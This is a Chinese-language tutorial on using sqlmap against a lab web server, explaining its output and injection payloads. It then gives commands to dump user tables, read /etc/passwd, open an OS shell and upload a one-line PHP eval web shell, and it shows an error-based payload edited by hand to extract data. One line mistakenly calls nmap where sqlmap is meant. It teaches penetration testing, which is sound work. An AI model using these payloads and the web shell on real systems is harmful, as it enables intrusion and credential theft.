请注意,在实际操作中使用sqlmap测试和利用SQL注入等安全漏洞应始终符合法律法规和道德准则,并且需要在拥有明确授权的情况下进行。在没有获得适当授权的情况下对任何系统或网络进行渗透测试都是非法的。
sqlmap是由python开发的测试sql注入的工具, 最新版本支持python3.
kali里面内置了sqlmap.
探测注入点, 数据库类型, webshell权限和路径, 拖库等.
测试级别控制sqlmap在测试SQL注入时发送的测试/负载数量和类型。level的取值范围是1-5, 默认1.
风险值控制sqlmap测试和执行时使用的负载“危险程度”。risk的取值范围是1-3. 默认1.
url: http://192.168.112.200/security/read.php?id=1
sqlmap -u "http://192.168.112.200/security/read.php?id=1"
如果访问的url需要登录状态, 需要设置cookie
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --cookie="PHPSESSID=641f93c51475f6ffa48838b1ee39e6cd"
[01:35:04] [INFO] testing connection to the target URL
[01:35:04] [INFO] testing if the target URL content is stable
[01:35:05] [INFO] target URL content is stable
[01:35:05] [INFO] testing if GET parameter 'id' is dynamic
[01:35:05] [INFO] GET parameter 'id' appears to be dynamic
[01:35:05] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[01:35:05] [INFO] testing for SQL injection on GET parameter 'id'
sqlmap正在测试是否可以连接到目标URL。
sqlmap正在测试目标URL的内容是否稳定。它通过多次发送相同的请求来确认响应的一致性。
表明目标URL的内容在多次请求中保持一致,因此内容是稳定的。
测试GET参数'id'是否是动态的。它会尝试使用不同的'id'参数值并检查响应是否有任何变化,以确定参数是否影响响应的内容。
这表明改变'id'参数的值确实影响了响应的内容,即它是动态的
启发式(基本)测试表明GET参数'id'可能是可注入的,并且可能的数据库管理系统(DBMS)是'MySQL'。
这说明sqlmap在'id'参数上找到了某些可以识别为SQL注入的模式或行为。
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
sqlmap认为目标后端数据库系统是'MySQL',它询问是否跳过针对其他数据库系统的测试载荷。
如果你按下'Y'或者直接回车,sqlmap将只发送适用于MySQL的测试载荷;
如果你按下'n',则会发送所有适用的测试载荷,不仅限于MySQL。
for the remaining tests, do you want to include all tests for 'MySQL'
extending provided level (1) and risk (1) values? [Y/n]
询问是否要在接下来的测试中包括所有针对'MySQL'的测试,即使这些测试超出了之前提供的级别(level)和风险(risk)值。
[Y/n] 是一个交互提示:
- 如果你选择 "Y" 或直接按下回车键,`sqlmap` 将会执行所有针对'MySQL'的测试,包括那些超出了原始设定级别和风险值的测试。
- 如果你选择 "n",`sqlmap`将会严格按照原始的级别和风险值进行测试,不包括那些超出这些值的测试。
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap在询问你在确认了 'id' 参数存在SQL注入漏洞后,是否想要继续测试其他的参数(如果有的话)。
- 如果输入 "y" 或者按下回车键,sqlmap将继续检查其他GET参数(如果存在的话)是否也存在SQL注入的漏洞。
- 如果输入 "N",sqlmap将停止进一步的测试并保持当前的状态。
由于"N"是大写的,它是默认选项,如果你直接按下回车键而不输入任何内容,它将选择"N"。
sqlmap identified the following injection point(s) with a total of 57 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2531=2531
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 OR (SELECT 3318 FROM(SELECT COUNT(*),
CONCAT(0x716a767a71,(SELECT (ELT(3318=3318,1))),0x71767a7071,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 2865 FROM (SELECT(SLEEP(5)))Qfzi)
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=-3335 UNION ALL SELECT
NULL,NULL,CONCAT(0x716a767a71,
0x426e7a424e504d6d794d434554467a484762477962777570584e4e42686e665742726f726c587944,0x71767a7071),
NULL,NULL,NULL-- -
---
[01:47:44] [INFO] the back-end DBMS is MySQL
[01:47:44] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web application technology: PHP 7.3.29, Apache 2.4.48
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[01:47:44] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.112.200'
1. **找到的SQL注入点**
- `sqlmap`通过一系列的HTTP请求(总共57次)确定了一个或多个注入点。
2. **Parameter: id (GET)**
- 发现的注入点在GET方法的'id'参数上。
3. **各种类型的SQL注入**
- **Boolean-based blind SQL injection**
- 使用布尔逻辑来确定可以提取的信息,一般会更改查询来观察响应的变化。
- `id=1 AND 2531=2531` 是其载荷实例。
- **Error-based SQL injection**
- 利用数据库的错误信息来提取数据。
- `id=1 OR (SELECT 3318 FROM(SELECT COUNT(*),CONCAT(0x716a767a71,
(SELECT (ELT(3318=3318,1))),0x71767a7071,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)` 是其载荷实例。
- **Time-based blind SQL injection**
- 通过观察查询导致的响应延迟来提取数据。
- `id=1 AND (SELECT 2865 FROM (SELECT(SLEEP(5)))Qfzi)` 是其载荷实例。
- **UNION query SQL injection**
- 通过`UNION` SQL运算符插入恶意查询来从数据库中检索数据。
- `id=-3335 UNION ALL SELECT NULL,NULL,CONCAT(0x716a767a71,
0x426e7a424e504d6d794d434554467a484762477962777570584e4e42686e665742726f726c587944,0x71767a7071),
NULL,NULL,NULL-- -` 是其载荷实例。
4. **关于后端DBMS的信息**
- `sqlmap`确认后端数据库管理系统(DBMS)是MySQL。
- 在测试过程中,sqlmap似乎遇到了连接到目标URL的问题,但它将尝试重新发送请求。
5. **技术栈信息**
- web应用程序使用的技术栈包括PHP 7.3.29和Apache 2.4.48。
6. **后端DBMS详细信息**
- 后端DBMS被确定为MySQL的一个版本(或MariaDB的一个分支),版本号应该是5.0或更高。
7. **输出存储位置**
- 所获取的数据和/或sqlmap的输出被记录并存储在`/root/.local/share/sqlmap/output/192.168.112.200`目录下。
根据测试报告中给出的各种类型注入的payload手动测试, 替换成自己需要的数据.
修改前:
id=1 OR (SELECT 3318 FROM(SELECT COUNT(*),
CONCAT(0x716a767a71,(SELECT (ELT(3318=3318,1))),0x71767a7071,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
输出结果:
Warning: mysqli_query(): (23000/1062): Duplicate entry 'qjvzq1qvzpq1' for key 'group_key'
修改后:
id=1 OR (SELECT 3318 FROM(SELECT COUNT(*),
CONCAT(0x716a767a71, database(),0x71767a7071,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
输出数据库名:
Warning: mysqli_query(): (23000/1062): Duplicate entry 'qjvzqlearnqvzpq1' for key 'group_key'
如果之前对url进行过测试, 那么重复执行测试会很快出现结果.
如果想重新测试, 需要清空缓存.
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --flush-session
在已知数据库类型时使用这个参数可以加快测试速度.
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --dbms=mysql
在默认测试后没有发现注入点时可以尝试提升等级
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --dbms=mysql --level=5
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --batch
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --dbs
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --current-db
不指定数据库名则查询出所有库的所有表
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --tables
查询指定数据库的所有表
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --tables -D "learn"
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --columns -T "user" -D "learn"
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --dump -C "userid,username,password" -T "user" -D "learn"
查询的结果会保存到本地的csv文件中, 具体路径请查看终端输出的信息.
cat /root/.local/share/sqlmap/output/192.168.112.200/dump/learn/user.csv
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --is-dba
输出: current user is DBA: True
执行过程: sqlmap猜测能够上传的路径, 然后尝试上传木马文件
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --os-shell
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
它在询问目标服务器支持的语言, 默认是php, 选择后开始测试上传.
自动上传如果失败了就考虑手工测试.
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --file-read "/etc/passwd"
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system?
它在询问是否确认远程文件passwd已经从服务器下载了, 确认后可以查看下载到的文件.
files saved to [1]:
[*] /root/.local/share/sqlmap/output/192.168.112.200/files/_etc_passwd (same file)
查看文件
cat /root/.local/share/sqlmap/output/192.168.112.200/files/_etc_passwd
@eval($_POST(['cmd']));?>
sqlmap上传
sqlmap -u "http://192.168.112.200/security/read.php?id=1"
--file-write ./mm.php --file-dest /opt/lampp/htdocs/security/test/mm.php
[WARNING] it looks like the file has not been written (usually occurs
if the DBMS process user has no write privileges in the destination path)
写入失败
可能因为路径不存在, 或者没有写入的权限.
[INFO] the remote file '/opt/lampp/htdocs/security/test/mm.php' is larger (37 B) than the local file 'mm.php' (32B)
写入成功
在不确定哪个目录由写权限的情况下, 也可以使用python执行sqlmap命令, 根据执行结果判断是否成功.
resp = os.popen("nmap -u ... --batch").read()
post 请求的正文可以通过burpsuit截取, [右键] “coupy to file” 保存到文件中.
请求中已经包含了url, cookie等信息. 命令中就不需要再写了. 例如:
POST /security/read.php HTTP/1.1
Host: 192.168.112.200
User-Agent: Mozi1la/5.0 (windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xm],application/xm];q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip,deflate
DNT:1
Cookie: PHPSESSID=641f93c51475f6ffa48838b1ee39e6cd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1
sqlmap -r ./sql_post.txt
sqlmap -r ./sql_post.txt -p id